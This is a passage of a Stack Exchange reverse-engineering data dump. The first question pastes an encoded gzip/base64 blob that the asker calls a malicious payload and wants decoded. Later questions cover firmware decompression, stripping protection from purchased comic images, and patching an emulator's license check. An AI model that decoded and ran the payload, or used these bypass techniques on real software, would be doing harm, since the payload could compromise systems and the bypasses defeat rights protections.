  <row Id="16682" PostTypeId="1" CreationDate="2017-11-01T03:15:19.697" Score="1" ViewCount="1216" Body="&lt;p&gt;This is a gzip compressed base64 string. I tried decoding it with an online converter but it said the data was corrupt. Can anyone decode this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;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&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="22117" LastEditorUserId="3162" LastEditDate="2017-11-01T12:19:59.073" LastActivityDate="2021-04-01T15:16:48.990" Title="I'm would like to view this malicious payload, but am having trouble decoding it" Tags="|malware|file-format|decompress|strings|byte-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16683" PostTypeId="2" ParentId="16682" CreationDate="2017-11-01T08:33:18.040" Score="4" Body="&lt;p&gt;On a linux machine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ cat enc_payload.txt|base64 -d &amp;gt; dec_payload&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ file dec_payload &#xA;dec_payload: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2017-11-01T08:33:18.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16684" PostTypeId="2" ParentId="16681" CreationDate="2017-11-01T15:04:57.450" Score="1" Body="&lt;p&gt;Right click on a function invocation in decompiler window, you'll see add and delete variadic argument. Checked in Ida 6.95 on x86, function should be defined with variadic prototype.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-11-01T15:04:57.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16685" PostTypeId="1" CreationDate="2017-11-01T15:56:44.313" Score="1" ViewCount="14401" Body="&lt;p&gt;I have been googling and I feel this answer should be a simple one. I think that the keywords are however, too generic and are bringing up a lot of things related but not what I am looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am kernel debugging in Windbg connected to a VM in VMware. I am loading a driver and I noticed that I cannot view DbgPrint messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far from Googling, I can see that I should have a value in this registry to change&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HKLM\SYSTEM\CCS\Control\Session Manager\Debug Print Filter&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't see however, a value for Debug Print.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this was turned off for noise purposes. Is there a simple way to turn it on, even if temporary? &lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2018-01-05T14:48:18.153" Title="How can I receive DbgPrint messages in windbg on windows 10" Tags="|debugging|windbg|kernel-mode|windows-10|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16686" PostTypeId="2" ParentId="16685" CreationDate="2017-11-01T16:40:47.580" Score="1" Body="&lt;p&gt;As per &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/reading-and-filtering-debugging-messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reading and Filtering Debugging Messages&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On the target computer, you can access the component filter mask in&#xA;  the registry key&#xA;  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session&#xA;  Manager\Debug Print Filter. Using a registry editor, create or open&#xA;  this key. Under this key, create a value with the name of the desired&#xA;  component, in uppercase letters (for example, DEFAULT or IHVDRIVER).&#xA;  Set this value equal to the DWORD value that you want to use as the&#xA;  component filter mask (for example, 0x8 to display DPFLTR_INFO_LEVEL&#xA;  messages, in addition to DPFLTR_ERROR_LEVEL, or set the mask to 0xF to&#xA;  display all messages)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user15338" LastActivityDate="2017-11-01T16:40:47.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16687" PostTypeId="2" ParentId="16681" CreationDate="2017-11-01T17:19:10.683" Score="4" Body="&lt;p&gt;If the decompiler detects wrong number of arguments for a variadic function call, you can adjust it using the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/cmd_variadic.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;context menu comands&lt;/a&gt; or Numpad +/- hotkeys.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-11-01T17:19:10.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16688" PostTypeId="1" AcceptedAnswerId="16718" CreationDate="2017-11-01T20:18:41.827" Score="6" ViewCount="616" Body="&lt;p&gt;I'm working on unpacking a camera firmware file which consists of various sections that I am able to correctly split and validate. One section within this file is additionally compressed with a form of LZSS as &lt;a href=&quot;http://wiki.xentax.com/index.php/LZSS#Decompression&quot; rel=&quot;nofollow noreferrer&quot;&gt;described here&lt;/a&gt;, of which I cannot determine the correct format of the lookup bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data starts with 2 uncompressed data blocks of 4096 bytes each (or a single 8192 byte block, however you want to see it), then follows the compressed data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compressed data starts with a flag byte, whose bits (starting at the LSB) tell which of the following bytes are to be copied (bit set), and which ones are lookup information (bit unset). Lookup information is made up of 2 bytes / 16 bits, and I am looking for help to decode their exact format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the MSBs contain the &lt;code&gt;index&lt;/code&gt; into the lookup buffer&lt;/li&gt;&#xA;&lt;li&gt;the LSBs contain the &lt;code&gt;length&lt;/code&gt; of the lookup, i.e. the number of bytes to be copied from the lookup buffer at the given index&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;length&lt;/code&gt; is at least 3 bits&lt;/li&gt;&#xA;&lt;li&gt;the actual lookup length is &lt;code&gt;length + 3&lt;/code&gt; (because 3 is the minimum length for which a lookup makes sense, e.g. a bit-indicated length of 2 equals an actual lookup length of 5 bytes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suspect:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The lookup length is either 3 or 4 bits (inside the data that I could manually decode, I did not find an occurrence of a length that requires 4 bits though)&lt;/li&gt;&#xA;&lt;li&gt;Since the lookup is either 3 or 4 bits, the index should be 13 or 12 bits. 12 bits make a lookup buffer size of 4096 byte, 13 bits a size of 8192, which corresponds to the uncompressed data block at the top and could be the init data of the buffer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let's decompress an excerpt, starting at &lt;code&gt;00675CCE&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00675CC0  65 0D 0A 0D FD 0A 33 C0 3C 68 74 6D 6C 3E FF 3C  e...ý.3À&amp;lt;html&amp;gt;ÿ&amp;lt;&#xA;00675CD0  68 65 61 64 3E 3C 74 BF 69 74 6C 65 3E 34 40 C0  head&amp;gt;&amp;lt;t¿itle&amp;gt;4@À&#xA;00675CE0  42 FF 61 64 20 52 65 71 75 65 6F 73 74 3C 2F 5F  Bÿad Requeost&amp;lt;/_&#xA;00675CF0  C3 3C 2F 59 C3 6F 62 6F 64 79 57 C0 31 3E 69 CA  Ã&amp;lt;/YÃobodyWÀ1&amp;gt;iÊ&#xA;00675D00  FE 8A C0 3C 70 3E 59 6F 75 72 FF 20 62 72 6F 77  þŠÀ&amp;lt;p&amp;gt;Yourÿ brow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The decoding sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00675CCE FF: read 8 bytes (&quot;&amp;lt;head&amp;gt;&amp;lt;t&quot;)&#xA;00675CD7 BF: read 6 bytes (&quot;itle&amp;gt;4&quot;)&#xA;             lookup 40C0 -&amp;gt; read 3 bytes @ ? index (&quot;00 &quot;)&#xA;             read 1 byte  (&quot;B&quot;)&#xA;00675CE0 FF: read 8 bytes (&quot;ad Reque&quot;)&#xA;00675CEA 6F: read 4 bytes (&quot;st&amp;lt;/&quot;)&#xA;             lookup 5FC3 -&amp;gt; read 6 bytes @ ? index (&quot;title&amp;gt;&quot;)&#xA;             read 2 bytes (&quot;&amp;lt;/&quot;)&#xA;             lookup 59C3 -&amp;gt; read 6 bytes @ ? index (&quot;head&amp;gt;&amp;lt;&quot;)&#xA;00675CF5 6F: read 4 bytes (&quot;body&quot;)&#xA;             ...             &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The decoded result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  3C 68 65 61 64 3E 3C 74 69 74 6C 65 3E 34 30 30  &amp;lt;head&amp;gt;&amp;lt;title&amp;gt;400&#xA;00000010  20 42 61 64 20 52 65 71 75 65 73 74 3C 2F 74 69   Bad Request&amp;lt;/ti&#xA;00000020  74 6C 65 3E 3C 2F 68 65 61 64 3E 3C 62 6F 64 79  tle&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's look at the last two lookups and their potential decodings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x5FC3 = 0101111111000011b&#xA;         0101111111000 011 -&amp;gt; index 3064, length 6 (3 + 3 per above rule)&#xA;         010111111100 0011 -&amp;gt; index 1532, length 6&#xA;&#xA;0x59C3 = 0101100111000011b&#xA;         0101100111000 011 -&amp;gt; index 2872, length 6&#xA;         010110011100 0011 -&amp;gt; index 1436, length 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I specifically chose this example because both lookups are only a few bytes back. In the decoded output/lookup-buffer, &lt;code&gt;0x5FC3&lt;/code&gt; looks back 23 bytes and &lt;code&gt;0x59C3&lt;/code&gt; looks back 38 bytes. The length is definitely correct, but the index numbers don't make sense to me. No matter which buffer size I assume, or if the index starts from the front or back of the buffer, or even differentiating endianness, the numbers don't fit. I'd assume that the lookup indices, due to only looking back a few bytes, should be on the lower or upper edge of the buffer. Also due to their vicinity in both compressed data and lookup data, their indices should be very close together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is either how can the lookup indices be correctly interpreted, or, assuming they are correct, how does the lookup buffer work because it can't be a standard circular buffer in such case. Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: In case anyone is interested, the firmware format in question is used by the YI M1 and Fujifilm X-A10 cameras. The current state of the firmware unpacker is &lt;a href=&quot;https://github.com/protyposis/yi-mirrorless-firmware-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;available on GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Further investigation has led me to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15326/trying-to-figure-what-kind-of-compression-was-used&quot;&gt;this related RE question&lt;/a&gt; and the &lt;a href=&quot;http://www.ross.net/compression/lzrw1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;LZRW compression family&lt;/a&gt; where the lookup indices may also refer to some kind of lookup table instead of directly into the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&#xA;Found evidence that the lookup length takes at least 4 bits. Also figured out that the lookup bytes are stored in big endian order (seems like I made a mistake last time when I tried it).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x5FC3 = 0101111111000011b&#xA;         110001011111 0011 -&amp;gt; index 3167, length 6 (big endian)&#xA;&#xA;0x59C3 = 0101100111000011b&#xA;         110001011001 0011 -&amp;gt; index 3161, length 6 (big endian)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the test cases I set up in the linked code repository, I noticed that many lookups are off by 709 byte, so I added an initial lookup buffer write offset of 709 and I'm now able to correctly decode large parts of the data, including the example above. Other parts seem to require another offset though, so this is still open to be figured out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 3:&lt;/strong&gt;&#xA;By analyzing where the lookup offset changes, I noticed longer 0x00 byte sequences that obviously would not be there if that data would be compressed. Taking a closer look at them, it turned out they are paddings for a 2048 byte alignment, and that the compressed data section is again made up of several subsections. Once I split them up and decompressed them separately, the problem with the changing buffer lookup offset was solved. So in the end it seems that the LZSS algorithm works exactly as in the &lt;a href=&quot;http://wiki.xentax.com/index.php/LZSS#Decompression&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; that I already posted above. The mystery was not the compression itself but the file structure. There are still a few questions open regarding to that, and once I'm done I will post a more detailed answer.&lt;/p&gt;&#xA;" OwnerUserId="22124" LastEditorUserId="22124" LastEditDate="2017-11-04T05:32:08.337" LastActivityDate="2020-08-10T01:35:37.093" Title="Decoding LZSS buffer lookup indices" Tags="|firmware|unpacking|decompress|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16689" PostTypeId="2" ParentId="16675" CreationDate="2017-11-01T21:33:05.920" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This supports my notion that it is compressed, or otherwise packed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You are correct; most of this firmware image is compressed or encrypted. In order to be disassembled the binary will have to be decompressed/decrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Evidence of compression/encryption:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; entropy plot&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bcU0N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bcU0N.png&quot; alt=&quot;binwalk entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entropy level throughout most of the file appears to appears to be close to the maximum possible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Visualization via &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis.io&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A visualization of the entropy of the firmware is on the left and a visualization of the entropy of an uncompressed file is on the right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TZbSA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZbSA.png&quot; alt=&quot;firmware entropy binvis.io&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rAprl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rAprl.png&quot; alt=&quot;bash entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.fourmilab.ch/random/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ent&lt;/a&gt; (A Pseudorandom Number Sequence Test Program)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ent sx300_fw-12776.ros &#xA;Entropy = 7.999864 bits per byte.&#xA;&#xA;Optimum compression would reduce the size&#xA;of this 6988974 byte file by 0 percent.&#xA;&#xA;Chi square distribution for 6988974 samples is 1330.86, and randomly&#xA;would exceed this value 0.01 percent of the times.&#xA;&#xA;Arithmetic mean value of data bytes is 127.3134 (127.5 = random).&#xA;Monte Carlo value for Pi is 3.145007550 (error 0.11 percent).&#xA;Serial correlation coefficient is 0.002524 (totally uncorrelated = 0.0).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="53" LastEditDate="2018-01-02T09:44:17.543" LastActivityDate="2018-01-02T09:44:17.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16690" PostTypeId="1" CreationDate="2017-11-02T03:53:29.587" Score="1" ViewCount="1090" Body="&lt;p&gt;I'm trying to decrypt jpg images of comics I purchased in my comic reader app on android but neither I can view them (after copying from SD card to Windows desktop) nor can I convert them to pdf to read on my desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a lot of data before start of jpg header FF D8, and am confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;01 00 00 00 2D 82 00 00 28 00 00 00 80 47 88 47 80 48 08 48 00 48 08 48 00 48 88 47 00 48 88 47 00 48 88 47 00 48 08 48 EF 4F 00 00 00 00 00 00 41 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 C8 E3 E4 E4 03 3A AB F3 0F DE 05 14 33 C9 82 B8 32 72 8F 20 67 10 7D 08 45 09 99 C6 61 1B 30 C4 D4 15 6F F1 8C 65 05 C1 FF D8 FF E0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are examples of those encrypted images: &lt;a href=&quot;https://www.mediafire.com/view/4tnc45xppeazy1c/09.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/view/4tnc45xppeazy1c/09.jpg&lt;/a&gt; &lt;a href=&quot;https://www.mediafire.com/file/u0z57slaar4k9ln/10.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/file/u0z57slaar4k9ln/10.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of decrypting these in a C Program ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried getting information in JPEGsnoop, it stops at Unknown marker [0xFF02] From the header information it is jpeg file, but parsing stops abruptly. It may be embedded jpeg's in custom format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*** Marker: SOS (Start of Scan) (xFFDA) ***&#xA;  OFFSET: 0x00000152&#xA;Scan header length = 12&#xA;  Number of img components = 3&#xA;    Component[1]: selector=0x01, table=0(DC),0(AC)&#xA;    Component[2]: selector=0x02, table=1(DC),0(AC)&#xA;    Component[3]: selector=0x03, table=1(DC),0(AC)&#xA;  Spectral selection = 0 .. 0&#xA;  Successive approximation = 0x01&#xA;&#xA; NOTE: Scan parsing doesn't support this SOF mode.&#xA;&#xA;*** Marker: ??? (Unknown) (xFF02) ***&#xA;OFFSET: 0x00004806&#xA;    WARNING: Unknown marker [0xFF02]&#xA;  Stopping decode&#xA;  Use [Img Search Fwd/Rev] to locate other valid embedded JPEGs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While opening in photoshop loads only a part of jpeg image or shows error &quot;Could not complete your request because of a problem parsing the JPEG data&quot;. While in android app first a thumbnail image loads, then panels are loaded as detailed images, but all information is contained in one single jpeg file. &#xA;Or if there is already a software that can fix extra data in these files.&lt;/p&gt;&#xA;" OwnerUserId="22128" LastActivityDate="2017-11-02T03:53:29.587" Title="How to decrypt .jpg files of comics app in a C Program?" Tags="|c|encryption|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16691" PostTypeId="1" CreationDate="2017-11-02T14:45:16.883" Score="2" ViewCount="499" Body="&lt;p&gt;I'm looking for a means to log EIP of a process while it is within a certain memory range.  I've dabbled a little bit in x64dbg's logging functionality, but was unsuccessful in getting a memory range conditional working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open to ideas.&lt;/p&gt;&#xA;" OwnerUserId="22133" LastActivityDate="2017-11-03T00:03:21.817" Title="Log EIP while in a certain memory range?" Tags="|debugging|x86|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16692" PostTypeId="1" CreationDate="2017-11-02T15:31:22.170" Score="5" ViewCount="444" Body="&lt;p&gt;John here. I'm in the last half of our IT school, and we got a side project from one of our teachers. He wrote a emulator back in 2009 in delphi, which is in use till that time. Nothing special, just a serial bus emulator, what we can controll over an interface, or simulate processes via C++ code w/ his dll. A fun little application. I wanted to obtain a copy for myself, and I've emailed the required stuff to myself. The surprise came then. If I try to run the program outside of the school environment, it simply just throws me out with an error message, states that I don't have permission to run that software, then it exits. Hm. The next day, we had lessons with that teacher, and I've asked about the program. He was glad that &quot;finally somebody tried that.&quot; He told me, that I'm free to test the program till it's limits, and If I manage to run it on my laptop, he could reward me with some good grades. Next, he told some informations about the program for the whole class:&#xA;- We're talking about a 64bit process. It does not check for the DLL, but it checks for &quot;something&quot;, and if that something is found, then the program will start. If not, a simple error message will be shown, then the process terminates. Also, the program only check for once, not anymore till the program has stopped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I've got home with my new informations collected, then fired up x64dbg and IDA to see what's going on. I was able to find only the messageBox(W) generation. Before that it check's for a &quot;test al,al&quot;. if it's equal, it jumps to a adress, but it only returns a &quot;nop&quot;, and the messagebox pops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to search for string references, like some hard coded file location, or registry entries, also the messagebox's text, but with no luck. Nothing found yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O8xum.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O8xum.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at the moment, here I am. How should I move forward about patching the check, If I don't even know what am I searching for at the first place?&#xA;Of course, they do not teach reverse engineering at school, but we're free to do anything at our free time, and if it gives some results, it's rewarded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="22134" LastActivityDate="2018-06-03T11:08:19.843" Title="School project - Cracking a school emulator" Tags="|ida|ollydbg|x64dbg|patching|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16694" PostTypeId="1" AcceptedAnswerId="16695" CreationDate="2017-11-02T20:27:37.370" Score="1" ViewCount="52108" Body="&lt;p&gt;I have been wondering, if every program is based on machine code, can we not decompile a program until it hits machine code and make it up to real programming languages? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to decompile exe files with a rate of 100%? If my computer understands the processes it should take, isn't it also be able return me the steps of what's its done, values from memory exc..? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I decompile an exe file without an error?&lt;/p&gt;&#xA;" OwnerUserId="22138" LastActivityDate="2017-11-03T19:08:19.033" Title="How to decompile an exe file?" Tags="|windows|decompilation|decryption|" AnswerCount="1" CommentCount="0" ClosedDate="2017-11-04T19:23:58.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="16695" PostTypeId="2" ParentId="16694" CreationDate="2017-11-02T21:52:42.987" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have been wondering, if every program is based on machine code, can we not decompile a program until it hits machine code and make it up to real programming languages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This question is based on a false premise; namely that every program is based on machine code. Programs are typically written in high-level languages, which are by design architecture independent and therefore must be translated into an architecture-specific form in order to be executed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;“High-level” programming languages take their name from the relatively&#xA;  high level, or degree of abstraction, of the features they provide, relative to those of the assembly languages they were originally designed to replace. The adjective “abstract,” in this context, refers to the degree to which language features are separated from the details of any particular computer architecture.&lt;sup&gt;1&lt;/sup&gt; 